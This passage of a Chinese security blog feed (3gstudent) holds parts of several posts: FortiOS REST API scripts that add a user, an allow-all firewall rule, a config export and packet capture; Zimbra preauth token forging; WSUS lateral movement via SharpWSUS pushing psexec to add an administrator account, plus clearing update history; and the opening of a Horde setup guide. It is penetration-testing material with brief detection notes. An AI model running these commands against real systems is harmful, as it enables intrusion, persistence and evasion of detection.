<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>add_j = {
"name":"user1",
"q_origin_key":"user1",
"status":"enable",
"type":"password",
"passwd":"123456",
}
r = requests.post(target + "/api/v2/cmdb/user/local", headers=headers, json=add_j, verify=False)
print(r.text)
</code></pre></div></div>
<p>#2.添加防火墙规则</p>
<p>需要访问<code class="language-plaintext highlighter-rouge">/api/v2/cmdb/firewall/policy</code>,发送json数据</p>
<p>Python示例代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>add_j = {
"name":"policy1",
"srcintf":[
{
"name":"port1",
"q_origin_key":"port1"
}
],
"dstintf":[
{
"name":"port1",
"q_origin_key":"port1"
}
],
"action":"accept",
"srcaddr":[
{
"name":"all",
"q_origin_key":"all"
}
],
"dstaddr":[
{
"name":"all",
"q_origin_key":"all"
}
],
"schedule":"always",
"service":[
{
"name":"ALL",
"q_origin_key":"ALL"
}
],
"nat":"enable",
}
r = requests.post(target + "/api/v2/cmdb/firewall/policy", headers=headers, json=add_j, verify=False)
print(r.text)
</code></pre></div></div>
<h3 id="3导出所有配置">3.导出所有配置</h3>
<p>通过访问<code class="language-plaintext highlighter-rouge">/api/v2/cmdb/system/admin</code>导出用户信息时,password项被加密,格式为<code class="language-plaintext highlighter-rouge">"password":"ENC XXXX"</code></p>
<p>这里可通过备份功能导出所有配置,获得加密的用户口令,访问位置为<code class="language-plaintext highlighter-rouge">/api/v2/monitor/system/config/backup?destination=file&scope=global</code></p>
<p>Python示例代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r = requests.get(target + "/api/v2/monitor/system/config/backup?destination=file&scope=global", headers=headers, verify=False)
print(r.text)
</code></pre></div></div>
<h3 id="4抓包">4.抓包</h3>
<p>需要依次完成以下操作:</p>
<ul>
<li>新建Packet Capture Filter</li>
<li>开启Packet Capture Filter</li>
<li>停止Packet Capture Filter</li>
<li>下载数据包</li>
<li>删除Packet Capture Filter</li>
</ul>
<p>Python示例代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>print("Try to create the sniffer")
add_j = {
"status":"enable",
"logtraffic":"utm",
"ipv6":"disable",
"non-ip":"disable",
"interface":"port1",
"host":"",
"port":"",
"protocol":"",
"vlan":"",
"application-list-status":"disable",
"application-list":"",
"ips-sensor-status":"disable",
"ips-sensor":"",
"dsri":"disable",
"av-profile-status":"disable",
"av-profile":"",
"webfilter-profile-status":"disable",
"webfilter-profile":"",
"emailfilter-profile-status":"disable",
"emailfilter-profile":"",
"dlp-sensor-status":"disable",
"dlp-sensor":"",
"ip-threatfeed-status":"disable",
"ip-threatfeed":[
],
"file-filter-profile-status":"disable",
"file-filter-profile":"",
"ips-dos-status":"disable",
"anomaly":[
],
"max-packet-count":4000
}
r = requests.post(target + "/api/v2/cmdb/firewall/sniffer", headers=headers, json=add_j, verify=False)
data = json.loads(r.text)
print("[+] mkey: " + str(data["mkey"]))
print("Try to start the sniffer")
r = requests.post(target + "/api/v2/monitor/system/sniffer/start?mkey=" + str(data["mkey"]), headers=headers, verify=False)
print(r.text)
print("Waiting...")
time.sleep(60)
print("Try to stop the sniffer")
r = requests.post(target + "/api/v2/monitor/system/sniffer/stop?mkey=" + str(data["mkey"]), headers=headers, verify=False)
print(r.text)
print("Try to download the sniffer packet")
r = requests.get(target + "/api/v2/monitor/system/sniffer/download?mkey=" + str(data["mkey"]), headers=headers, verify=False)
print("[+] Save as sniffer.pcap")
with open("sniffer.pcap", "ab+") as fw:
fw.write(r.content)
print("Try to delete the sniffer")
r = requests.delete(target + "/api/v2/cmdb/firewall/sniffer/" + str(data["mkey"]), headers=headers, verify=False)
print(r.text)
</code></pre></div></div>
<h2 id="0x06-小结">0x06 小结</h2>
<hr />
<p>本文以Fortigate环境为例,介绍了FortiOS REST API的相关用法,分享了创建本地用户、添加防火墙规则、导出所有配置和抓包的实现代码。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>
Fri, 16 Sep 2022 00:00:00 +0000
https://3gstudent.github.io//FortiOS-REST-API%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97
https://3gstudent.github.io/FortiOS-REST-API%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97
-
Zimbra-SOAP-API开发指南6——预认证
<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>本文将要继续扩充开源代码<a href="https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py">Zimbra_SOAP_API_Manage</a>的实用功能,添加预认证的登录方式,分享开发细节。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>预认证</li>
<li>计算preauth</li>
<li>SOAP实现</li>
<li>开源代码</li>
</ul>
<h2 id="0x02-预认证">0x02 预认证</h2>
<hr />
<p>参考资料:https://wiki.zimbra.com/wiki/Preauth</p>
<p>简单理解:通过preAuthKey结合用户名、时间戳和到期时间,计算得出的HMAC作为身份验证的令牌,可用于用户邮箱和SOAP登录</p>
<p>默认配置下,Zimbra未启用预认证的功能,需要手动开启</p>
<h4 id="1开启预认证并生成preauthkey">(1)开启预认证并生成PreAuthKey</h4>
<p>命令如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/opt/zimbra/bin/zmrov generateDomainPreAuthKey <domain>
</code></pre></div></div>
<p>其中,<code class="language-plaintext highlighter-rouge"><domain></code>对应当前Zimbra服务器的域名,可通过执行命令<code class="language-plaintext highlighter-rouge">/opt/zimbra/bin/zmprov gad</code>获得,测试环境的输出如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mail.test.com
</code></pre></div></div>
<p>对应测试环境的命令为:<code class="language-plaintext highlighter-rouge">/opt/zimbra/bin/zmprov generateDomainPreAuthKey mail.test.com</code></p>
<p>测试环境的输出如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>preAuthKey: fbf0ace37c59e3893352c656eda3d7f25c0ce0baadc9cbf22eb03f3b256f17a7
</code></pre></div></div>
<h4 id="2读取已有的preauthkey">(2)读取已有的PreAuthKey</h4>
<p>命令如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/opt/zimbra/bin/zmprov gd <domain> zimbraPreAuthKey
</code></pre></div></div>
<p>对应测试环境的命令为:<code class="language-plaintext highlighter-rouge">/opt/zimbra/bin/zmprov gd mail.test.com zimbraPreAuthKey</code></p>
<p>测试环境的输出如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zimbraPreAuthKey: fbf0ace37c59e3893352c656eda3d7f25c0ce0baadc9cbf22eb03f3b256f17a7
</code></pre></div></div>
<p><strong>注:</strong></p>
<p>如果Zimbra存在多个域名,那么会有多个PreAuthKey</p>
<h2 id="0x03-计算preauth">0x03 计算preauth</h2>
<hr />
<p><a href="https://wiki.zimbra.com/wiki/Preauth">参考资料</a>中给出了多种计算preauth的示例,但是Python的实现代码不完整,这里补全Python3下的完整实现代码,详细代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from time import time
import hmac, hashlib
import sys
def generate_preauth(target, preauth_key, mailbox):
try:
preauth_url = target + "/service/preauth"
timestamp = int(time()*1000)
data = "{mailbox}|name|0|{timestamp}".format(mailbox=mailbox, timestamp=timestamp)
pak = hmac.new(preauth_key.encode(), data.encode(), hashlib.sha1).hexdigest()
print("[+] Preauth url: ")
print("%s?account=%s&expires=0&timestamp=%s&preauth=%s"%(preauth_url, mailbox, timestamp, pak))
except Exception as e:
print("[!] Error:%s"%(e))
if __name__ == "__main__":
if len(sys.argv)!=4:
print('GeneratePreauth')
print('Use to generate the preauth key')
print('Usage:')
print('%s <host> <preauth_key> <mailuser>'%(sys.argv[0]))
print('Eg.')
print('%s https://192.168.1.1 fbf0ace37c59e3893352c656eda3d7f25c0ce0baadc9cbf22eb03f3b256f17a7 [email protected]'%(sys.argv[0]))
sys.exit(0)
else:
generate_preauth(sys.argv[1], sys.argv[2], sys.argv[3])
</code></pre></div></div>
<p>代码会自动生成可用的URL,浏览器访问可以登录指定邮箱</p>
<h2 id="0x04-soap实现">0x04 SOAP实现</h2>
<hr />
<p>SOAP格式:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><AuthRequest xmlns="urn:zimbraAccount">
<account by="name|id|foreignPrincipal">{account-identifier}</account>
<preauth timestamp="{timestamp}" expires="{expires}">{computed-preauth}</preauth>
</AuthRequest>
</code></pre></div></div>
<p>SOAP格式示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><AuthRequest xmlns="urn:zimbraAccount">
<account>[email protected]</account>
<preauth timestamp="1135280708088" expires="0">b248f6cfd027edd45c5369f8490125204772f844</preauth>
</AuthRequest>
</code></pre></div></div>
<p>需要<code class="language-plaintext highlighter-rouge">timestamp</code>和<code class="language-plaintext highlighter-rouge">preauth</code>作为参数,使用预认证登录的详细代码如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import sys
import requests
import re
import warnings
warnings.filterwarnings("ignore")
from time import time
import hmac, hashlib
def generate_preauth(target, mailbox, preauth_key):
try:
preauth_url = target + "/service/preauth"
timestamp = int(time()*1000)
data = "{mailbox}|name|0|{timestamp}".format(mailbox=mailbox, timestamp=timestamp)
pak = hmac.new(preauth_key.encode(), data.encode(), hashlib.sha1).hexdigest()
print("[+] Preauth url: ")
print("%s?account=%s&expires=0&timestamp=%s&preauth=%s"%(preauth_url, mailbox, timestamp, pak))
return timestamp, pak
except Exception as e:
print("[!] Error:%s"%(e))
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
}
def auth_request_preauth(uri,username,timestamp,pak):
request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account>{username}</account>
<preauth timestamp="{timestamp}" expires="0">{pak}</preauth>
</AuthRequest>
</soap:Body>
</soap:Envelope>
"""
try:
r=requests.post(uri+"/service/soap",headers=headers,data=request_body.format(username=username,timestamp=timestamp,pak=pak),verify=False,timeout=15)
if 'authentication failed' in r.text:
print("[-] Authentication failed for %s"%(username))
exit(0)
elif 'authToken' in r.text:
pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")
token = pattern_auth_token.findall(r.text)[0]
print("[+] Authentication success for %s"%(username))
print("[*] authToken_low:%s"%(token))
return token
else:
print("[!]")
print(r.text)
except Exception as e:
print("[!] Error:%s"%(e))
exit(0)
timestamp, pak = generate_preauth("https://192.168.1.1", "[email protected]", "fbf0ace37c59e3893352c656eda3d7f25c0ce0baadc9cbf22eb03f3b256f17a7")
token = auth_request_preauth("https://192.168.1.1","[email protected]",timestamp,pak)
</code></pre></div></div>
<p>以上代码通过预认证登录,返回可用的token,通过该token可以进行后续的SOAP操作,列出文件夹邮件数量的实现代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def getfolder_request(uri,token):
request_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<authToken>{token}</authToken>
</context>
</soap:Header>
<soap:Body>
<GetFolderRequest xmlns="urn:zimbraMail">
</GetFolderRequest>
</soap:Body>
</soap:Envelope>
"""
try:
print("[*] Try to get folder")
r=requests.post(uri+"/service/soap",headers=headers,data=request_body.format(token=token),verify=False,timeout=15)
pattern_name = re.compile(r"name=\"(.*?)\"")
name = pattern_name.findall(r.text)
pattern_size = re.compile(r" n=\"(.*?)\"")
size = pattern_size.findall(r.text)
for i in range(len(name)):
print("[+] Name:%s,Size:%s"%(name[i],size[i]))
except Exception as e:
print("[!] Error:%s"%(e))
getfolder_request("https://192.168.1.1",token)
</code></pre></div></div>
<h2 id="0x05-开源代码">0x05 开源代码</h2>
<hr />
<p>新的代码已上传至github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py</p>
<p>添加了使用预认证登录的功能</p>
<h2 id="0x06-小结">0x06 小结</h2>
<hr />
<p>本文扩充了Zimbra SOAP API的调用方法,添加了使用预认证登录的功能。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>
Fri, 09 Sep 2022 00:00:00 +0000
https://3gstudent.github.io//Zimbra-SOAP-API%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-%E9%A2%84%E8%AE%A4%E8%AF%81
https://3gstudent.github.io/Zimbra-SOAP-API%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-%E9%A2%84%E8%AE%A4%E8%AF%81
-
渗透技巧——通过WSUS进行横向移动
<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>在内网渗透中,当我们获得了WSUS服务器的控制权限后,可以通过推送补丁的方式进行横向移动。这个利用方法最早公开在BlackHat USA 2015。本文将要整理这个利用方法的相关资料,结合思路思路,得出行为检测的方法。</p>
<p>参考资料:</p>
<p>https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf</p>
<p>https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/</p>
<p>https://labs.nettitude.com/blog/introducing-sharpwsus/</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>环境搭建</li>
<li>利用思路</li>
<li>实现工具</li>
<li>行为检测</li>
</ul>
<h2 id="0x02-环境搭建">0x02 环境搭建</h2>
<hr />
<p>本节介绍WSUS服务器搭建的过程,通过配置客户端实现补丁的推送</p>
<p>参考资料:</p>
<p>https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd939822(v=ws.10)</p>
<h3 id="1wsus服务器搭建">1.WSUS服务器搭建</h3>
<p>WSUS服务器需要安装在Windows Server操作系统</p>
<h4 id="1安装">(1)安装</h4>
<p>在添加角色和功能页面,选择<code class="language-plaintext highlighter-rouge">Windows Server Update Services</code></p>
<p>需要指定补丁更新包的存放路径,这里可以设置为<code class="language-plaintext highlighter-rouge">C:\WSUS</code></p>
<h4 id="2配置">(2)配置</h4>
<p>打开<code class="language-plaintext highlighter-rouge">Windows Server Update Services</code>进行配置</p>
<p>配置时选择默认选项即可,在选择<code class="language-plaintext highlighter-rouge">Download update information from Microsoft Update</code>时,点击<code class="language-plaintext highlighter-rouge">Start Connecting</code>,如果报错提示<code class="language-plaintext highlighter-rouge">An HTTP error has occurred</code>,经过我的多次测试,可以采用以下方法解决:</p>
<p>关闭当前页面</p>
<p>进入<code class="language-plaintext highlighter-rouge">Windows Server Update Services</code>,选择<code class="language-plaintext highlighter-rouge">synchronization</code>,点击<code class="language-plaintext highlighter-rouge">synchronization Now</code>,等待同步完成,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-1.png" alt="Alt text" /></p>
<p>选择<code class="language-plaintext highlighter-rouge">Options</code>,选择<code class="language-plaintext highlighter-rouge">WSUS Server Configuration Wizard</code>,重新进入配置页面,连接成功,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-2.png" alt="Alt text" /></p>
<p>配置完成后需要创建计算机组,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-3.png" alt="Alt text" /></p>
<p>当同步完成后,会提示下载了多少个补丁,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-4.png" alt="Alt text" /></p>
<p>选择<code class="language-plaintext highlighter-rouge">Updates</code>页面,可以查看已下载的补丁,<code class="language-plaintext highlighter-rouge">Unapproved</code>表示未安装的补丁,安装后的补丁可以选择<code class="language-plaintext highlighter-rouge">Approved</code>进行查看,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-5.png" alt="Alt text" /></p>
<p>选中一个补丁,点击<code class="language-plaintext highlighter-rouge">Approve...</code>,弹出的对话框可以针对指定计算机组安装补丁,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/1-6.png" alt="Alt text" /></p>
<h3 id="2客户端配置">2.客户端配置</h3>
<p>客户端只要是Windows系统即可,需要通过组策略配置</p>
<p>依次选择<code class="language-plaintext highlighter-rouge">Computer Configuration</code> -> <code class="language-plaintext highlighter-rouge">Administrative Templates</code> -> <code class="language-plaintext highlighter-rouge">Windows Components</code> -> <code class="language-plaintext highlighter-rouge">Windows Update</code>,选择<code class="language-plaintext highlighter-rouge">Configure Automatic Updates</code>,设置成<code class="language-plaintext highlighter-rouge">Auto download and notify for install</code>,选择<code class="language-plaintext highlighter-rouge">Specify intranet Microsoft update service location</code>,设置更新服务器地址为<code class="language-plaintext highlighter-rouge">http://192.168.1.182:8530</code></p>
<p><strong>注:</strong></p>
<p>需要指定端口8530</p>
<p>对于域环境,配置组策略后需要等待一段时间,这是因为组策略每90分钟在后台更新一次,随机偏移量为0-30分钟,如果想立即生效,可以输入命令:<code class="language-plaintext highlighter-rouge">gpupdate /force</code></p>
<p>对于工作组环境,配置组策略可以立即生效</p>
<p>当客户端开始补丁更新时,WSUS服务器会获得客户端的信息,并显示在<code class="language-plaintext highlighter-rouge">Computers</code>页面</p>
<p>组策略配置的操作等同于创建注册表,具体信息如下:</p>
<p>(1)组策略配置自动更新后会创建注册表<code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU</code></p>
<p>查询命令:<code class="language-plaintext highlighter-rouge">REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"</code></p>
<p>返回结果示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
UseWUServer REG_DWORD 0x1
NoAutoUpdate REG_DWORD 0x0
AUOptions REG_DWORD 0x3
ScheduledInstallDay REG_DWORD 0x0
ScheduledInstallTime REG_DWORD 0x3
</code></pre></div></div>
<p>其中<code class="language-plaintext highlighter-rouge">AUOptions</code>对应组策略配置中的<code class="language-plaintext highlighter-rouge">Configure automatic updating</code>,<code class="language-plaintext highlighter-rouge">2</code>代表<code class="language-plaintext highlighter-rouge">Notify for download and notify for install</code>,<code class="language-plaintext highlighter-rouge">3</code>代表<code class="language-plaintext highlighter-rouge">Auto download and notify for install</code>,<code class="language-plaintext highlighter-rouge">4</code>代表<code class="language-plaintext highlighter-rouge">Auto download and schedule the install</code>,<code class="language-plaintext highlighter-rouge">5</code>代表<code class="language-plaintext highlighter-rouge">Allow local admin to choose setting</code></p>
<p>(2)组策略配置服务器地址后会创建注册表<code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate</code></p>
<p>查询命令:<code class="language-plaintext highlighter-rouge">REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"</code></p>
<p>返回结果示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://192.168.112.182:8530
WUStatusServer REG_SZ http://192.168.112.182:8530
</code></pre></div></div>
<h3 id="3推送补丁">3.推送补丁</h3>
<p>在WSUS服务器的<code class="language-plaintext highlighter-rouge">Windows Server Update Services</code>页面,选择指定补丁,右键点击<code class="language-plaintext highlighter-rouge">Approve...</code>,在弹出的对话框中选择计算机组即可</p>
<p>等待客户端到达补丁更新时间,即可完成补丁的推送</p>
<h2 id="0x03-利用思路">0x03 利用思路</h2>
<hr />
<p>如果我们能够生成一个带有Payload的补丁,就能够通过补丁进行横向移动,但是在利用上需要注意补丁文件的签名问题:Windows的补丁文件需要带有微软的签名</p>
<p>通常的利用方法是使用带有微软签名的程序,例如psexec,通过psexec执行命令或者添加一个管理员用户</p>
<h2 id="0x04-实现工具">0x04 实现工具</h2>
<hr />
<p>开源的工具有以下三个:</p>
<p>https://github.com/nettitude/SharpWSUS</p>
<p>https://github.com/AlsidOfficial/WSUSpendu</p>
<p>https://github.com/ThunderGunExpress/Thunder_Woosus</p>
<p>以上三个工具的实现原理基本相同,都是创建一个调用psexec执行命令的补丁,将补丁推送至指定计算机,等待目标计算机更新补丁</p>
<p>创建补丁的操作需要连接SQL数据库,依次实现以下操作:</p>
<ul>
<li>ImportUpdate</li>
<li>PrepareXMLtoClient</li>
<li>InjectURL2Download</li>
<li>DeploymentRevision</li>
<li>PrepareBundle</li>
<li>PrepareXMLBundletoClient</li>
<li>DeploymentRevision</li>
</ul>
<h3 id="1创建补丁">1.创建补丁</h3>
<p>SharpWSUS在创建补丁时需要注意转义字符,命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^&^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"
</code></pre></div></div>
<p>这条命令将会在<code class="language-plaintext highlighter-rouge">Updates</code>的<code class="language-plaintext highlighter-rouge">Security Updates</code>页面下创建<code class="language-plaintext highlighter-rouge">WSUSDemo</code>,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/2-1.png" alt="Alt text" /></p>
<h3 id="2补丁部署">2.补丁部署</h3>
<p>将补丁部署到指定计算机组,命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SharpWSUS.exe approve /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7 /groupname:"Demo Group"
</code></pre></div></div>
<p>这条命令会创建计算机组<code class="language-plaintext highlighter-rouge">Demo Group</code>,并且把<code class="language-plaintext highlighter-rouge">win-iruj9k30gr7</code>移动到该组下面,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/2-2.png" alt="Alt text" /></p>
<p>接下来需要等待客户端安装这个补丁</p>
<h3 id="3查看补丁状态">3.查看补丁状态</h3>
<p>查看补丁是否被安装,命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SharpWSUS.exe check /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7
</code></pre></div></div>
<p>补丁未安装的输出如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[*] Action: Check Update
Targeting win-iruj9k30gr7
TargetComputer, ComputerID, TargetID
------------------------------------
win-iruj9k30gr7, d00cc6fd-4b98-492a-9f5d-12b1a14bd7a6, 2
Update Info cannot be found.
[*] Check complete
</code></pre></div></div>
<p>还有一种查看方法是查看计算机的补丁更新时间,示例命令:<code class="language-plaintext highlighter-rouge">SharpWSUS.exe inspect</code></p>
<p>输出示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------
computer02, 192.168.112.149, 7.6.7601.24436, 8/30/2022 7:55:44 AM
win-iruj9k30gr7, 192.168.112.143, 7.6.7600.320, 8/30/2022 7:42:57 AM
</code></pre></div></div>
<p>为了便于测试,可以强制客户端更新补丁,看到新的补丁信息,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/2-3.png" alt="Alt text" /></p>
<h3 id="4清除补丁信息">4.清除补丁信息</h3>
<p>命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SharpWSUS.exe delete /updateid:f316d1b2-b530-40bc-b4d7-0453d85c4c58 /computername:win-iruj9k30gr7 /groupname:"Demo Group"
</code></pre></div></div>
<p>这条命令会删除补丁,删除添加的计算机组</p>
<p>在整个补丁更新过程中,WSUS服务器会将psexec.exe保存在WSUS服务器本地<code class="language-plaintext highlighter-rouge">C:\wsus\wuagent.exe</code>和<code class="language-plaintext highlighter-rouge">C:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe</code>,需要手动清除</p>
<p>在测试<a href="https://github.com/AlsidOfficial/WSUSpendu">WSUSpendu</a>时,为了便于分析细节,可以修改以下代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[CmdletBinding()]
Param(
)
$PayloadFile = "psexec.exe"
$PayloadArgs = '-accepteula -s -d cmd.exe /c "net user Titi Password123_ /add && net localgroup Administrators Titi /add"'
$ComputerName = "win-iruj9k30gr7"
$Inject = 1
</code></pre></div></div>
<p>命令行执行:<code class="language-plaintext highlighter-rouge">powershell -ep bypass -f WSUSpendu.ps1 -Verbose</code>,将会输出完整的信息</p>
<h2 id="0x05-行为检测">0x05 行为检测</h2>
<hr />
<p>客户端的补丁历史更新记录会保存所有的补丁安装信息:</p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-9-1/3-1.png" alt="Alt text" /></p>
<p>但是,攻击者如果获得了系统的管理员控制权限,可以通过命令行卸载补丁的方式清除历史更新记录,命令行卸载补丁的命令示例:</p>
<p>查看更新:<code class="language-plaintext highlighter-rouge">wmic qfe list brief/format:table</code></p>
<p>卸载指定更新:<code class="language-plaintext highlighter-rouge">wusa /uninstall /kb:976902 /quiet /norestart</code></p>
<h2 id="0x06-小结">0x06 小结</h2>
<hr />
<p>本文介绍了通过WSUS进行横向移动的方法和实现工具,结合利用思路,给出行为检测的建议。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>
Thu, 01 Sep 2022 00:00:00 +0000
https://3gstudent.github.io//%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87WSUS%E8%BF%9B%E8%A1%8C%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87WSUS%E8%BF%9B%E8%A1%8C%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8
-
Horde Groupware Webmail漏洞调试环境搭建
<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>本文记录从零开始搭建Horde Groupware Webmail漏洞调试环境的细节。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>Horde Groupware Webmail安装</li>
<li>Horde Groupware Webmail漏洞调试环境配置</li>
<li>常用知识</li>
</ul>
<h2 id="0x02-horde-groupware-webmail安装">0x02 Horde Groupware Webmail安装</h2>
<hr />
<p>参考资料:</p>
<p>https://www.horde.org/apps/webmail/docs/INSTALL</p>
<p>https://github.com/horde/base/blob/master/doc/INSTALL.rst</p>
<p>https://geekrewind.com/install-horde-groupware-webmail-on-ubuntu-16-04-18-04-with-apache2/</p>
<p>https://neoserver.site/help/step-step-installation-instructions-postfix-and-dovecot-ubuntu</p>
<p>简单来说,安装Horde Groupware Webmail时需要配置以下环境:</p>
<ul>
<li>MySQL数据库</li>
<li>Apache2</li>
<li>php7.2</li>
<li>Dovecot</li>
</ul>
<p>操作系统选择Ubuntu18,这里不能选择Ubuntu16,因为Ubuntu16不支持php7.2</p>
<p>本文的安装过程做了适当精简,完整过程可根据参考资料进行学习,具体安装过程如下:</p>
<h3 id="1安装mariadb-database-server">1.安装MariaDB Database Server</h3>
<h4 id="1安装">(1)安装</h4>
<p>安装命令:<code class="language-plaintext highlighter-rouge">sudo apt-get -y install mariadb-server mariadb-client</code></p>
<h4 id="2配置">(2)配置</h4>
<p>配置命令:<code class="language-plaintext highlighter-rouge">sudo mysql_secure_installation</code></p>
<p>配置如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Enter current password for root (enter for none): press the Enter
Set root password? [Y/n]: n
Remove anonymous users? [Y/n]: Y
Disallow root login remotely? [Y/n]: Y
Remove test database and access to it? [Y/n]: Y
Reload privilege tables now? [Y/n]: Y
</code></pre></div></div>
<h4 id="3创建数据库">(3)创建数据库</h4>
<p>连接数据库的命令:<code class="language-plaintext highlighter-rouge">mysql -u root -p</code></p>
<p>执行以下命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CREATE DATABASE horde;
CREATE USER 'hordeuser'@'localhost' IDENTIFIED BY 'new_password_here';
GRANT ALL ON horde.* TO 'hordeuser'@'localhost' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EXIT;
</code></pre></div></div>
<p>设置数据库的用户为<code class="language-plaintext highlighter-rouge">hordeuser</code>,口令为<code class="language-plaintext highlighter-rouge">new_password_here</code></p>
<h3 id="2安装php-horde-webmail">2.安装php-horde-webmail</h3>
<p>安装命令:<code class="language-plaintext highlighter-rouge">sudo apt -y install php-horde-webmail</code></p>
<h3 id="3配置webmail">3.配置webmail</h3>
<p>安装命令:</p>
